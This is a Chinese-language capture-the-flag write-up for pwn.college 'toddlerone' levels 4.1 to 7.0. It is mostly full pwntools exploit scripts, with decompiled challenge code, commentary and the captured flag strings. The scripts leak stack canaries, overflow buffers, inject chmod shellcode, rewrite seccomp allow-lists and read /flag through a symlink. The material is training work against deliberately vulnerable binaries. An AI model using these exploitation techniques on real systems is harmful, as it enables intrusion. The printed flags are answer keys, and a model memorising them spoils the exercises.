def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_to_v14_size - shellcode_length, b"A") shellcode += v14 shellcode += padding_to_canary shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(target)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{ECpb0UATZ-UymShuFolh7qzxgrx.0VNyMDL5cTNxgzW}
Level 4.1
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload.
Write-up
参见 Level 4.0。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-4-1"HOST, PORT = "localhost", 1337
gdbscript = """c"""
backdoor = b"REPEAT "padding_size = 0x58padding_to_v14_size = 0x50backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoortrigger_length = str(len(backdoor_trigger))padding_to_ret = b"".ljust(0x8, b"A")v14 = p64(0x736E2B681CA77DD2)fixed_offset = 0x1150
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) target.recvuntil(backdoor)
canary = b"\x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_to_v14_size - shellcode_length, b"A") shellcode += v14 shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(target)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{UiJc7-6JI988NELrbF-uNpbwc-X.0lNyMDL5cTNxgzW}
Level 5.0
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.
Write-up
50 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3){ int *v3; // rax char *v4; // rax unsigned int v6; // ebx const char *v7; // rax __int64 v8; // [rsp+0h] [rbp-E0h] BYREF __int64 v9; // [rsp+8h] [rbp-D8h] __int64 v10; // [rsp+10h] [rbp-D0h] unsigned int v11; // [rsp+1Ch] [rbp-C4h] int i; // [rsp+28h] [rbp-B8h] int v13; // [rsp+2Ch] [rbp-B4h] size_t nbytes; // [rsp+30h] [rbp-B0h] BYREF void *buf; // [rsp+38h] [rbp-A8h] _QWORD *v16; // [rsp+40h] [rbp-A0h] __int64 v17; // [rsp+48h] [rbp-98h] _QWORD v18[18]; // [rsp+50h] [rbp-90h] BYREF __int64 savedregs; // [rsp+E0h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+E8h] [rbp+8h] BYREF
v11 = a1; v10 = a2; v9 = a3; v18[15] = __readfsqword(0x28u); memset(v18, 0, 0x78uLL); buf = v18; v16 = &v18[14]; nbytes = 0LL; v18[14] = 0xE700000001LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)&v8; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v8) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.\n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,\n", buf); puts("(\"above\" it in the stack are other local variables used by the function)."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 103); puts("large input length, and thus overflow the buffer.\n"); puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the stack is executable. This means that if the stack contains shellcode"); puts("and you overwrite the return address with the address of that shellcode, it will execute.\n"); cp_ = bp_; cv_ = __readfsqword(0x28u); while ( *(_QWORD *)cp_ != cv_ ) cp_ -= 8LL; printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!\n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)\n", buf); printf(1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", (char *)buf + nbytes, nbytes - 103); printf("Send your payload (up to %lu bytes)!\n", nbytes); v13 = read(0, buf, nbytes); if ( v13 < 0 ) { v3 = __errno_location();12 collapsed lines
v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!\n", v4); exit(1); } printf("You sent %d bytes!\n", v13); puts("Let's see what happened with the stack:\n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %p\n", buf); printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_); printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_); printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_); printf("- the canary is stored at %p.\n", (const void *)cp_); printf("- the canary value is now %p.\n", *(const void **)cp_); putchar(10); printf("You said: %s\n", (const char *)buf); puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()"); puts("call to see the hidden backdoor!"); if ( strstr((const char *)buf, "REPEAT") ) { puts("Backdoor triggered! Repeating challenge()"); return challenge(v11, v10, v9); } else { puts("This challenge will, by default, initialize a seccomp filter jail before exiting"); puts("the challenge function. You will have to reverse engineer the program to"); puts("understand how to avoid this."); if ( v18[13] == 0x484D17DF2438CECFLL ) { puts("Jail avoided! Continuing execution."); } else { puts("Restricting system calls (default: kill)");16 collapsed lines
v17 = seccomp_init(0LL); for ( i = 0; i <= 1; ++i ) { v6 = *((_DWORD *)v16 + i); v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6); printf("Allowing syscall: %s (number %i)\n", v7, v6); if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, *((unsigned int *)v16 + i), 0LL) ) __assert_fail( "seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0", "/challenge/toddlerone-level-5-0.c", 0x9Eu, "challenge"); } if ( (unsigned int)seccomp_load(v17) ) __assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-5-0.c", 0xA1u, "challenge"); } puts("Goodbye!"); return 0LL; }}
我本以为是要 bypass seccomp 的题,没想到根本用不着动脑子……
令 v18[13] == 0x484D17DF2438CECF
seccomp 就形同虚设了。试问这题和前面两题有啥区别吗,是不是这题就是个引子,后面有真正的 seccomp 玩呀 LOL
值得注意的是这里我们泄漏出来的 rbp 并不是真正的 rbp,而是一些其它的栈内数据,它后面也有别的返回地址,不过都覆盖掉好像也没啥问题,目的达到了就好~
我只是想说,我懒得改变量名了,总之解释清楚别误解了就好哈哈哈。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-5-0"HOST, PORT = "localhost", 1337
gdbscript = """c"""
backdoor = b"REPEAT "padding_size = 0x78padding_to_v18_size = 0x68backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoortrigger_length = str(len(backdoor_trigger))padding_to_canary = b"".ljust(0x8, b"A")padding_to_ret = b"".ljust(0x18, b"A")v18 = p64(0x484D17DF2438CECF)fixed_offset = 0x11C0
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) response = target.recvuntil(backdoor) log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_to_v18_size - shellcode_length, b"A") shellcode += v18 shellcode += padding_to_canary shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(target)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{k8hu05Nam_pIp8PRsZsT8XQmYSZ.01NyMDL5cTNxgzW}
Level 5.1
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.
Write-up
参见 Level 5.0。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-5-1"HOST, PORT = "localhost", 1337
gdbscript = """c"""
backdoor = b"REPEAT "padding_size = 0x58padding_to_v13_size = 0x40backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoortrigger_length = str(len(backdoor_trigger))padding_to_canary = b"".ljust(0x10, b"A")padding_to_ret = b"".ljust(0x8, b"A")v13 = p64(0x4887233ABFEDC049)fixed_offset = 0x1160
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) response = target.recvuntil(backdoor) log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_to_v13_size - shellcode_length, b"A") shellcode += v13 shellcode += padding_to_canary shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(target)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{w8_cw1WNbjdmbd10XDPrPKfumT5.0FOyMDL5cTNxgzW}
Level 6.0
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.
Write-up
24 collapsed lines
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3){ int *v3; // rax char *v4; // rax unsigned int v6; // ebx const char *v7; // rax __int64 v8; // [rsp+0h] [rbp-F0h] BYREF __int64 v9; // [rsp+8h] [rbp-E8h] __int64 v10; // [rsp+10h] [rbp-E0h] unsigned int v11; // [rsp+1Ch] [rbp-D4h] int i; // [rsp+28h] [rbp-C8h] int v13; // [rsp+2Ch] [rbp-C4h] size_t nbytes; // [rsp+30h] [rbp-C0h] BYREF void *buf; // [rsp+38h] [rbp-B8h] _DWORD *v16; // [rsp+40h] [rbp-B0h] __int64 v17; // [rsp+48h] [rbp-A8h] _DWORD v18[34]; // [rsp+50h] [rbp-A0h] BYREF unsigned __int64 v19; // [rsp+D8h] [rbp-18h] __int64 savedregs; // [rsp+F0h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+F8h] [rbp+8h] BYREF
v11 = a1; v10 = a2; v9 = a3; v19 = __readfsqword(0x28u); memset(v18, 0, 0x78uLL); buf = v18; v16 = &v18[29]; nbytes = 0LL; v18[29] = 1; v18[30] = 231; puts("The challenge() function has just been launched!"); sp_ = (__int64)&v8; bp_ = (__int64)&savedregs;18 collapsed lines
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v8) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:"); DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.\n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.\n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,\n", buf); puts("(\"above\" it in the stack are other local variables used by the function)."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 114); puts("large input length, and thus overflow the buffer.\n"); puts("We have disabled the following standard memory corruption mitigations for this challenge:"); puts("- the stack is executable. This means that if the stack contains shellcode"); puts("and you overwrite the return address with the address of that shellcode, it will execute.\n"); cp_ = bp_; cv_ = __readfsqword(0x28u); while ( *(_QWORD *)cp_ != cv_ ) cp_ -= 8LL; printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!\n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)\n", buf); printf(1 collapsed line
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", (char *)buf + nbytes, nbytes - 114); printf("Send your payload (up to %lu bytes)!\n", nbytes); v13 = read(0, buf, nbytes); if ( v13 < 0 ) { v3 = __errno_location();12 collapsed lines
v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!\n", v4); exit(1); } printf("You sent %d bytes!\n", v13); puts("Let's see what happened with the stack:\n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %p\n", buf); printf("- the saved frame pointer (of main) is at %p\n", (const void *)bp_); printf("- the saved return address (previously to main) is at %p\n", (const void *)rp_); printf("- the saved return address is now pointing to %p.\n", *(const void **)rp_); printf("- the canary is stored at %p.\n", (const void *)cp_); printf("- the canary value is now %p.\n", *(const void **)cp_); putchar(10); printf("You said: %s\n", (const char *)buf); puts("This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()"); puts("call to see the hidden backdoor!"); if ( strstr((const char *)buf, "REPEAT") ) { puts("Backdoor triggered! Repeating challenge()"); return challenge(v11, v10, v9); } else { puts("Restricting system calls (default: kill)"); v17 = seccomp_init(0LL); for ( i = 0; i <= 1; ++i ) { v6 = v16[i]; v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6); printf("Allowing syscall: %s (number %i)\n", v7, v6); if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)v16[i], 0LL) ) __assert_fail( "seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0", "/challenge/toddlerone-level-6-0.c", 0x97u, "challenge"); } if ( (unsigned int)seccomp_load(v17) ) __assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-6-0.c", 0x9Au, "challenge"); puts("Goodbye!"); return 0LL; }}
得,果不出我所料,这 seccomp 不就来了嘛~
其实不用 seccomp-tools 也行,不过这里也贴一下好啦:
line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0007 0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL
seccomp_rule_add
会允许 v16[i]
处保存的系统调用,v16[i]
处保存的两个默认系统调用分别是 write (1)
和 exit_group (231)
,究其原因是因为程序执行完 seccomp 后还需要调用 puts
函数,而 puts
函数就需要这两个系统调用才可以执行。
所以我们有两个可用的系统调用可以发挥(怎么发挥?栈溢出过去覆盖成自己的~),这里还是选择 chmod
,允许了 chmod
后还需要允许 write
才可以成功执行 chmod
,我猜应该是因为 chmod
会去修改 inode
中保存的权限信息,而修改它需要 write
系统调用,所以使用 chmod
的话我们必须同时允许 write
才行。
需要注意的就是必须先允许主要系统调用,再允许其内部依赖的系统调用,否则 seccomp 会直接阻止主要调用。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p32, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-6-0"HOST, PORT = "localhost", 1337
gdbscript = """c"""
backdoor = b"REPEAT "padding_size = 0x88backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoortrigger_length = str(len(backdoor_trigger))allowed_syscall_offset = 0x74padding_to_ret = b"".ljust(0x18, b"A")fixed_offset = 0x11E0
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) response = target.recvuntil(backdoor) log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(allowed_syscall_offset - shellcode_length, b"A") shellcode += p32(0x5A) # SYS_chmod shellcode += p32(0x01) # SYS_write shellcode += b"".ljust(padding_size - (allowed_syscall_offset + 0x8), b"A") shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(target)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{Uh7pFxiL1QPHZzDdWNmvsW7FH_Y.0VOyMDL5cTNxgzW}
Level 6.1
Information
- Category: Pwn
Description
Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.
Write-up
参见 Level 6.0。
Exploit
#!/usr/bin/python3
from pwn import ( ELF, asm, context, gdb, log, os, p32, p64, process, remote, shellcraft,)
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-6-1"HOST, PORT = "localhost", 1337
gdbscript = """c"""
backdoor = b"REPEAT "padding_size = 0x38backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoortrigger_length = str(len(backdoor_trigger))allowed_syscall_offset = 0x2Cpadding_to_ret = b"".ljust(0x8, b"A")fixed_offset = 0x1120
def to_hex_bytes(data): return "".join(f"\\x{byte:02x}" for byte in data)
def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf
if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT)
def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}")
def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) response = target.recvuntil(backdoor) log.debug(response.decode("utf-8", errors="ignore"))
canary = b"\x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}\nRBP: {to_hex_bytes(rbp)}")
return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}")
def construct_payload(target): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little")
ret_addr = rbp - fixed_offset
shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(allowed_syscall_offset - shellcode_length, b"A") shellcode += p32(0x5A) # SYS_chmod shellcode += p32(0x01) # SYS_write shellcode += b"".ljust(padding_size - (allowed_syscall_offset + 0x8), b"A") shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr)
return shellcode
def attack(target, payload): try: os.system("ln -s /flag f")
payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size)
target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore"))
try: with open("./f", "r") as file: content = file.read()
log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}")
def main(): try: target = launch() payload = construct_payload(target)
attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__": main()
Flag
Flag: pwn.college{Mipexe2lNIdsBTQy-Vxsp5mdVZl.0FMzMDL5cTNxgzW}
Level 7.0
Information
- Category: Pwn
Description
Write a full exploit for a custom VM involving injecting shellcode and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled!
Write-up
27 collapsed lines
int __fastcall main(int argc, const char **argv, const char **envp){ const char **v4; // [rsp+0h] [rbp-420h] BYREF int v5; // [rsp+Ch] [rbp-414h] _BYTE buf[1024]; // [rsp+10h] [rbp-410h] BYREF int v7; // [rsp+410h] [rbp-10h] __int16 v8; // [rsp+414h] [rbp-Ch] char v9; // [rsp+416h] [rbp-Ah] __int64 savedregs; // [rsp+420h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+428h] [rbp+8h] BYREF
v5 = argc; v4 = argv; printf("[+] Welcome to %s!\n", *argv); puts("[+] This challenge is an custom emulator. It emulates a completely custom"); puts("[+] architecture that we call \"Yan85\"! You'll have to understand the"); puts("[+] emulator to understand the architecture, and you'll have to understand"); puts("[+] the architecture to understand the code being emulated, and you will"); puts("[+] have to understand that code to get the flag. Good luck!"); puts("[+]"); puts("[+] This level is a full Yan85 emulator. You'll have to reason about yancode,"); puts("[+] and the implications of how the emulator interprets it!"); setvbuf(_bss_start, 0LL, 2, 1uLL); memset(buf, 0, sizeof(buf)); v7 = 0; v8 = 0; v9 = 0; printf("[!] This time, YOU'RE in control! Please input your yancode: "); puts("[+] This challenge doesn't allow you to call open via the sys instruction, but luckily,"); puts("[+] it makes a memory error that will let you accomplish your goals. Good luck!"); read(0, buf, 0x300uLL); sp_ = (__int64)&v4; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v4) >> 3) + 2;9 collapsed lines
rp_ = (__int64)&retaddr; puts("[!] Let's take a look at the stack before we execute your yancode:"); DUMP_STACK(sp_, sz_); printf("[-] the saved frame pointer (of main) is at %p\n", (const void *)bp_); printf("[-] the saved return address is at %p\n", (const void *)rp_); printf("[-] the saved return address is currently pointing to %p.\n", *(const void **)rp_); puts("[+]"); puts("[+] This is a *teaching* challenge, which means that it will output"); puts("[+] a trace of the Yan85 code as it processes it. The output is here"); puts("[+] for you to understand what the challenge is doing, and you should use"); puts("[+] it as a guide to help with your reversing of the code."); puts("[+]"); interpreter_loop((__int64)buf); puts("[+] Exited interpreter loop! I hope you accomplished what you wanted!"); puts("[!] Let's take a look at the stack after your yancode executed:"); DUMP_STACK(sp_, sz_);5 collapsed lines
printf("[-] the saved frame pointer (of main) is at %p\n", (const void *)bp_); printf("[-] the saved return address is at %p\n", (const void *)rp_); printf("[-] the saved return address is now pointing to %p.\n", *(const void **)rp_); return 0;}
Wow, Yan85 Virtual Machine!
第一次见这种自定义指令集的题,感觉还是很新颖的!OK,通过简单的观察分析我们大致可以知道,这题会使用一套自定义指令集,称为 yancode
!而剩下的不用我说你应该也清楚,那就是用这套自定义指令集来写 shellcode,想办法获取 flag。
所以得先逆向分析搞清楚这个虚拟机提供了哪些指令,指令的机器码等等这些最基本的元素,才有能力用它编写 shellcode,攻击的思路则与用什么指令集无关,随你发挥~
程序的 main 函数我贴在上面了,我本来想尝试通过 read(0, buf, 0x300uLL);
来覆盖返回地址的,但是我们的输入大小被限制在 0x300
了,根本摸不到……也是,这可是传说中的 Yan85,怎么可能那么容易哈哈哈。那么继续往下看,我们发现,它会调用 interpreter_loop((__int64)buf)
来解析 buf 中的指令。
这个函数的定义如下:
__int64 __fastcall interpreter_loop(__int64 a1){ unsigned __int8 v1; // al __int64 result; // rax
while ( 1 ) { result = *(unsigned __int8 *)(a1 + 1029); if ( (_BYTE)result == 0xFF ) break; v1 = *(_BYTE *)(a1 + 1029); *(_BYTE *)(a1 + 1029) = v1 + 1; interpret_instruction( a1, *(unsigned __int16 *)(a1 + 3LL * v1) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 2) << 16)); } return result;}
它通过 interpret_instruction(unsigned __int8 *a1, __int64 a2)
将 buf 中指令的机器码解析为 yancode 的伪代码。
并且,当 (_BYTE)result == 0xFF
时,结束 interpreter_loop
,也就是停止翻译指令了。结合下文的寄存器分析我们知道,这个 result
其实就是 i
寄存器。
